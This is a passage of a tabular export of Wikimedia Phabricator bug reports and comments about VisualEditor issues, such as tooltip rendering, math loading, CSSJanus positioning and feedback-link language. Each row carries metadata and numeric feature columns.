+**Severity**: trivial",Medium,50.0,1367030520,1416181878.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,False,PHID-TASK-dv6pxr32mobwf3arakop,task_description,declined,True,c1,1,True,False,False,-10,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+207942,VisualEditor: Toolbar tooltip text throbs when un-floated,Hi Ori. Can you please respond to James' comment?,,,1397939050,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dv6pxr32mobwf3arakop,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0
+207940,VisualEditor: Toolbar tooltip text throbs when un-floated,"Ori, I can't reproduce this locally (on Chrome, Safari or Firefox) - what browser were you using?",,,1367126151,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dv6pxr32mobwf3arakop,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+49760,VisualEditor: A lot of time needed to load <math> blocks?,"I tested it on the [[Bayes' theorem]] which has <Math></Math> inside the article with chrome 28 and it couldn't load the page!.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1367021760,1367548087.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-pzrh6lxoqsxowrm5mt6k,task_description,declined,True,c1,1,False,False,True,-10,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+207617,VisualEditor: A lot of time needed to load <math> blocks?,Resolving as WORKSFORME as I cannot reproduce and there's been no further information about how to get this effect. Feel free to re-open if you have additional data to help us find out what went wrong for you.,,,1367548087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pzrh6lxoqsxowrm5mt6k,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+207610,VisualEditor: A lot of time needed to load <math> blocks?,I'm afraid I can't reproduce this - is this using MathJax? When I load the page https://en.wikipedia.org/wiki/Bayes'_theorem?veaction=edit (in Chrome or Firefox) I always get the <math> blocks rendered as PNGs instantly. Can you give some more information? A screenshot of the failed (partial?) rendering would be particularly useful.,,,1367293923,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pzrh6lxoqsxowrm5mt6k,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+49752,VisualEditor: No warning is shown when saving a page without an edit summary despite user preference,"No warning is shown when saving a page without an edit summary even when the ""Prompt me when entering a blank edit summary"" preference is enabled.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1367008860,1369092004.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-bltbr6dun3s6724ee3wt,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+207100,VisualEditor: No warning is shown when saving a page without an edit summary despite user preference,Merged and will go out with wmf5.,,,1369092004,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bltbr6dun3s6724ee3wt,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+207095,VisualEditor: No warning is shown when saving a page without an edit summary despite user preference,Related URL: https://gerrit.wikimedia.org/r/64313 (Gerrit Change Idba707abaea8b08a94f7fa4d5bc5b1e35261a572),,,1368800999,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bltbr6dun3s6724ee3wt,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49746,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),"When I edit an article in the English Wikipedia and hover over a template or an image, green diagonal stripes appear over it, meaning that it can't be edited.
+
+These green stripes don't appear in the Hebrew Wikipedia.
+
+See the URL for a demo.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://he.wikipedia.org/wiki/ASCII",Medium,50.0,1367005440,1367280339.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+232901,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),"**orbit** wrote:
+
+Yep, CSSJanus indeed. I've added /*@noflip*/ to the phantoms container to ensure proper positioning.",,,1367280330,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+232894,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),https://gerrit.wikimedia.org/r/61516 (Gerrit Change Id7662362d117d6c5719b9b98d7a0dbf62e9ba3ff) | change APPROVED and MERGED [by jenkins-bot],,,1367280189,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+232890,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),Related URL: https://gerrit.wikimedia.org/r/61516 (Gerrit Change Id7662362d117d6c5719b9b98d7a0dbf62e9ba3ff),,,1367280048,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+232886,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),"Indeed, works in debug mode.
+
+It's just a wild guess for now, but it may have something to do with CSSJanus.",,,1367006685,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-10,,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+232882,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),It might be a cache issue - works just fine in debug mode - https://he.wikipedia.org/w/index.php?title=ASCII&debug=true,,,1367006326,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+232877,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),I'm able to reproduce at least in Chrome.,,,1367005802,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+49745,VisualEditor: Moving the cursor using an arrow makes templates and footnote numbers disappear,"Steps:
+
+1. Go to the URL.
+2. Start editing the page using the VisualEditor.
+3. Move the cursor using the keyboard arrow keys forward (right).
+
+Observed:
+
+When you get to the ""Done"" template and go on moving the cursor, the whole template disappears.
+
+The same happens when you get to the reference number on the second line (""[1]"").
+
+The cursor must probably skip over them and definitely not make them disappear.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/VisualEditor:Disappearing_template",Medium,50.0,1367005140,1367005458.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-gfh3zyqmntwzuisuy7o2,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+232841,VisualEditor: Moving the cursor using an arrow makes templates and footnote numbers disappear,And actually the desired behavior is not skipping over - it is selecting it (so you can delete if you want) - give it a try in Chrome.,,,1367005498,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-gfh3zyqmntwzuisuy7o2,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+232837,VisualEditor: Moving the cursor using an arrow makes templates and footnote numbers disappear,I have a good reason to believe that this occurs only in Firefox and I just fixed it here: https://gerrit.wikimedia.org/r/#/c/61055/. If you get it in other browser then pelase reopen this bug.,,,1367005458,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-gfh3zyqmntwzuisuy7o2,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+49730,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"Having users using different languages to post feedback on different pages on the same site makes it difficult to manage.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1366981200,1374012385.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-xdguppbr4wppxkti274y,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+231966,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"Change 74064 merged by jenkins-bot:
+Remove 'visualeditor-feedback-link' from RL module
+
+https://gerrit.wikimedia.org/r/74064",,,1374012412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+231957,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,Fixed. Sorry about this. Will be deployed this afternoon.,,,1374012385,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+231949,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"Change 74064 had a related patch set uploaded by Krinkle:
+Remove 'visualeditor-feedback-link' from RL module
+
+https://gerrit.wikimedia.org/r/74064",,,1374010123,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+231943,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"(In reply to comment #11)
+> (In reply to comment #10)
+> > pl.wiki is on 1.22wmf8 but my feedback was posted to a non-existing page with
+> > Italian title (I have Italian UI), [[pl:Wikipedia:VisualEditor/Commenti]]:
+> > https://pl.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
+> > Commenti&oldid=36959657
+> 
+> Confirmed, this is also happening to me. Did the code get broken somehow?
+
+Somewhere between https://gerrit.wikimedia.org/r/#/c/68216/ and its parent (I can't seem to find the commit that added it) the message was added in VisualEditor.php's resource module definition. Which caused the message from VisualEditorMessagesModule (in content-language) to be overridden at run time by the one from ResourceLoader for user language.",,,1374010028,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+231936,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"(In reply to comment #10)
+> pl.wiki is on 1.22wmf8 but my feedback was posted to a non-existing page with
+> Italian title (I have Italian UI), [[pl:Wikipedia:VisualEditor/Commenti]]:
+> https://pl.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
+> Commenti&oldid=36959657
+
+Confirmed, this is also happening to me. Did the code get broken somehow?",,,1373852430,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1
+231928,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"pl.wiki is on 1.22wmf8 but my feedback was posted to a non-existing page with Italian title (I have Italian UI), [[pl:Wikipedia:VisualEditor/Commenti]]: https://pl.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Commenti&oldid=36959657",,,1372603756,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+231924,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,Merged and will go out in wmf5.,,,1369088720,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+231920,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,*** Bug 48645 has been marked as a duplicate of this bug. ***,,,1369068249,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+231917,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,Related URL: https://gerrit.wikimedia.org/r/64498 (Gerrit Change I3804e6f91015ef9b8ae5196efb37475d714cd7d5),,,1368898661,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231915,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"(In reply to comment #5)
+> Yes, that would fix this particular problem; my question is more as to
+> whether
+> the core tool should default for target link to be in the content language.
+
+Based on what I see in the usage given above, you're giving a Title to core feedback tool, which points to a certain page, instead of a message name to core with feedback page name in that message.",,,1368814496,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+231911,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"Yes, that would fix this particular problem; my question is more as to whether the core tool should default for target link to be in the content language.",,,1368813996,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+231905,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"But there is:
+
+modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js:
+		'title': new mw.Title( ve.msg( 'visualeditor-feedback-link' ) ),
+
+shouldn't something like:
+
+new mw.Title( ve.msg( 'visualeditor-feedback-link' ).inContentLanguage() )
+
+be used?",,,1368813782,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,False,,,-7,,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0
+231902,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"(In reply to comment #2)
+> I'm not sure what ""core MW feedback tool"" means, but I was talking about the
+> feedback feature for [[Wikipedia:VisualEditor/Feedback]].
+
+Yes, this is a core MediaWiki feature, it just happens to be used by VisualEditor:
+
+  resources/mediawiki/mediawiki.feedback.js",,,1368813471,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+231899,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"I'm not sure what ""core MW feedback tool"" means, but I was talking about the feedback feature for [[Wikipedia:VisualEditor/Feedback]].",,,1368813368,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+231894,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,(Is this a bug in the core MW feedback tool?),,,1368809941,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+49729,[mediawiki.feedback.js] Feedback should follow redirect,"I tried to edit MediaWiki:Visualeditor-feedback-link on zhwp but it doesn't affect the feedback target page at all. Is that even the correct message to change?
+
+I then turn the target page into a redirect, but feedback are still sent to that page without following the redirect.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1366979940,1419984894.0,PHID-USER-hoj4lurwi6bejyjy5qlp,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-xjswbfq6vvdy4oyl6qub,task_description,resolved,True,c1,1,False,False,False,-10,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+394258,[mediawiki.feedback.js] Feedback should follow redirect,Fixed in 96c4e453ecfaba9cc5dca904301981e9d6e3492b (https://gerrit.wikimedia.org/r/#/c/143171/).,,,1419984894,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xjswbfq6vvdy4oyl6qub,task_subcomment,,True,c1,3,True,,,78,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231860,[mediawiki.feedback.js] Feedback should follow redirect,"(In reply to comment #0)
+> I tried to edit MediaWiki:Visualeditor-feedback-link on zhwp but it doesn't
+> affect the feedback target page at all. Is that even the correct message to
+> change?
+
+Yes, that is the correct message; you can set it for all zh-hans or zh-hant projects at [0] and [1] and it will respect it (once the software is updated).
+
+[0] - https://translatewiki.net/w/i.php?title=Special:Translate&language=zh-hans&group=ext-visualeditor
+[1] - https://translatewiki.net/w/i.php?title=Special:Translate&language=zh-hant&group=ext-visualeditor
+
+> I then turn the target page into a redirect, but feedback are still sent to
+> that page without following the redirect.
+
